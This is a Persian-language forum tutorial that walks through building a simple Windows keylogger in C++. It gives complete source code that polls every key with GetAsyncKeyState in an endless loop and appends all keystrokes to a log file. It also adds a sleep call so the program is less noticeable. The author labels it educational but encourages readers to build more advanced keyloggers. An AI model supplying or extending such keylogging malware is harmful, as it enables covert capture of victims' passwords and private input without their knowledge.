رفتن به مطلب

KeyLogger C++(اموزش ساخت)


mortza
 اشتراک گذاری

ارسال های توصیه شده


خب خدمت دوستان و اساتید توی این اموزش میخوام بهتون ساخت یک کیلاگر ساده (برای یادگیری) رو توضیح بدم
این مطلب رو که عرض میکنم بسیار ساده و صرفا جهت اشنایی بیشتر شما با این زبان طراحی شده تا بتونید راحت تر طرز ساخت کی لاگر رو یاد بگیرید
تا خودتون کیلاگر های بهتر و پیشرفته تری بسازید و لذت ببرید

بریم شروع کنیم
 که دارین باز کنید  ide ا بتدا ویوژال استودیو یا کد بلاکس یا  و یک پروژه بکنسولی بسازید و وارد محیط کد نویسی بشین و تمامی پیش فرض ها رو پاک کنید(صرفا جهت اطلاع...)

بیاین با هدر ها شروع کنیم
```

#include <Windows.h>
#include <iostream>
#include <string>
#include <fstream>

```
از این هدر ها استفاده میکنیم
دلیلشم واضحه لازم به توضیح نیست

حالا جهت سادگی بیشتر میخواین با 

using namespace std;


کارتون رو شروع کنید یا نه فرقی هم نداره 
ولی جهت خوانایی بهتر من بدون این کد مینویسم شما هم همینطور

قبل اینکه به برنامه کلید ها رو تعریف کنیم
 تنظیم کنید که لاگ کی کلاگر چی باشه void با یک تابع
 و چطور مشخص میشه 
 بدین صورت که میگم بزنید
 
```

 void ToLog(LPCSTR text)
{
    ofstream logfile;
    logfile.open("keylogs.txt", fstream::app);
    logfile << text; 
    logfile.close();
}

```
دلیلشم واضحه چون نمیخوایم مقداری رو بازگردونه void در اینجا ما تابع رو  از نوع 

فکر نکنم اینجا هم مشکلی باشه اگه مشکلی بود زیر پست بگین که توضیح بدم

میریم سرغ مشخص کردن متغیر ها(همون کلید هایی که فشار داده میشن)
کلید ها یا فشار داده میشن یا فشار داده نمیشن
به زبان ساده تر بگم ما یه داده ایی رو برای معرفی این متغیر ها بکار میبریم
یا درسته یا غلط 
در نتیجه از داده بول(bool)برای مقدار دهی استفاده میکنیم
به دین صورت ادامه بدین
ابتدا 
```

bool keyrecord(int ikey) 
{
switch (ikey)
{
case.....


```
یه توضیحی بدم قبل اینکه بزارم 
من کیس ها رو با سویچ مرتب  سازی کردم بعد اومدم که کیس ها رو انتخاب کنم
منظور از کیس همون کلید هایی که در کیبورد هر کدوم یه اسمه مشخص دارن 
صرفا من چند تا کلید رو میزارم شما میتونید لیست اسامی رو بگیرید و در این کیس سوال کنید 
خیلی راحت خیلی اسون
بدین صورت  متغیر هامون رو معرفی میکنیم
```

bool keyrecord(int ikey)
{
    switch (ikey)
    {
    case VK_SPACE:        cout << " "; ToLog(" "); break;                    
    case VK_RETURN:        cout << "\n"; ToLog("\n"); break;                    
    case VK_SHIFT:        cout << " *SHIFT* "; ToLog(" *SHIFT* "); break;    
    case VK_BACK:        cout << "\b"; ToLog("\b"); break;                     
    case VK_RBUTTON:    cout << " *RCLICK* "; ToLog(" *RCLICK* "); break;    
    case VK_LBUTTON:    cout << " *LCLICK* "; ToLog(" *LCLICK* "); break;    
    case VK_TAB:        cout << " *TAB* "; ToLog(" *TAB* "); break;        
    case VK_CAPITAL:    cout << " *CAPSLOCK* "; ToLog(" *CAPSLOCK* "); break;    
    case VK_CONTROL:    cout << " *CTRL* "; ToLog(" *CTRL* "); break;        
    case VK_MENU:        cout << " *ALT* ";ToLog(" *ALT* "); break;        
    default: return false;
    }

}
```

به همین سادگی 
اسمه کلید ها هم واضحه...
میریم سراغ مین و قسمت پایانی کار ```

int main()
{
    char key;
    while (TRUE)
    {
        Sleep(10);
        for (key = 0; key <= 190; key++)
        {
            if (GetAsyncKeyState(key) == -32767)
            {
                if (keyrecord(key) == FALSE)
                {
                    cout << key;
                    ofstream logfile;
                    logfile.open("keylogs.txt", fstream::app);
                    logfile << key;
                    logfile.close();
                }
            }
        }
    }

    return 0;

}
```
توضیح خیلی مختصری بدم  احیانا با سی پلاس اشنایی کمی داشته باشی میفهمین حالا بکم توضیح برای تازه کارا 
یه حلقه تکرار درست کردیم 
و گفتیم که تا وقتی که شرط درست باشه (شرط رو در ادامه براش توضیح میدیم)به کاره خودش ادامه بده
یک اسلیپ هم براش گزاشتیم که برنامه به خواب بره و زیاد تابلو نکنه
ساده  for یه حلقه 
در نهایت هم دستور شرطی مون 
اخرشم گفتیم هر چی ریکورد کرده رو در فایل لاگ ذخیره کنه
به همین سادگی و خوشمزگی
ما یک کیلاگر ساختیم
البته که این برای اموزش ساخته شده و شما نمیتونید این رو برای تارگت استفاده کنید
ولی باید بدونین اصل هر چیز چیه تا با برگ و ریشه دادن بتونید بیشتر یادبگیرین

ممنون که مثل همیشه تا اخرشو نگاه میکنین
!تا اموزشی دیگر موفق

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری
 اشتراک گذاری

انجمن تیم امنیتی گارد ایران

تیم امنیتی گارد ایران یک گروه مستقل است که قوانین آن با خط مشی جمهوری اسلامی ایران مغایرت ندارد. تیم امنیتی گارد ایران از سال 1393 فعالیت خود را آغاز کرد و هدف این تیم تامین امنیت سایت ها و سرورهای ایرانی است. تیم ما همیشه برای دفاع از مرزهای سایبری سرزمین عزیزمان ایران آماده است.

شرکت گاردایران

پردازشگران ایمن داده ي آدلان

شماره ثبت: 9438

شبکه های اجتماعی

 

نمادها

logo.aspx?id=56084&Code=ybjZVyBlXag5cNRv logo-samandehi

×
×
  • اضافه کردن...

اطلاعات مهم

فعالیت شما در این انجمن به منزله تایید قوانین انجمن میباشد! شرایط استفاده